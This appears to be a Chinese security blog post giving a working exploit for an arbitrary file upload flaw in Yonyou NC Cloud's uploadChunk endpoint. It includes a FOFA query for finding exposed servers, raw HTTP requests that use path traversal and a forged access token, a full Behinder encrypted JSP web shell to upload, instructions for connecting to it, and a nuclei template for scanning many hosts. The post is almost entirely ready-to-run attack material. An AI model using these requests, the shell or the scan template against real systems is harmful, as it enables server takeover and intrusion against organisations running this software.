用友NC Cloud uploadChunk任意文件上传漏洞

漏洞简介

用友NC Cloud uploadChunk文件存在任意文件上传漏洞,攻击者通过此漏洞可实现上传木马文件,控制服务器。

漏洞复现

fofa语法:app="用友-NC-Cloud"
登录页面如下:

POC:

POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=024ff46f71634a1c9bf8ec5820c26fa9
accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ

--024ff46f71634a1c9bf8ec5820c26fa9
Content-Disposition: form-data; name="file"; filename="test.txt"

This website has an arbitrary file upload vulnerability
--024ff46f71634a1c9bf8ec5820c26fa9--


上传木马文件,使用冰蝎中自带的shell.jspx木马。上传成功后直接用冰蝎连接,不要使用浏览器访问木马文件。

POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=024ff46f71634a1c9bf8ec5820c26fa9
accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
Content-Length: 806

--024ff46f71634a1c9bf8ec5820c26fa9
Content-Disposition: form-data; name="file"; filename="vuln.jspx"

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
--024ff46f71634a1c9bf8ec5820c26fa9--

使用冰蝎进行连接

nuclei批量yaml文件

id: yonyou_NCCloud_uploadChunk_upload

info:
  name: 用友NC Cloud uploadChunk任意文件上传漏洞
  author: afan
  severity: critical
  tags: yonyou,changjietong,bjxsec,yonyouoa
  description: fofa   app="畅捷通-TPlus"
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}.txt"
  file_content: "{{to_lower(rand_text_alpha(26))}}"
requests:
  - raw:
      - |
        POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=024ff46f71634a1c9bf8ec5820c26fa9
        accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
        Content-Length: 153

        --024ff46f71634a1c9bf8ec5820c26fa9
        Content-Disposition: form-data; name="file"; filename="{{file_name}}"

        {{file_content}}
        --024ff46f71634a1c9bf8ec5820c26fa9--
      
      - |
        GET /nccloud/{{file_name}} HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: word
        words:
          - "{{file_content}}"
        part: body
posted @ 2023-10-19 22:27  学安全的小白  阅读(1976)  评论(1编辑  收藏  举报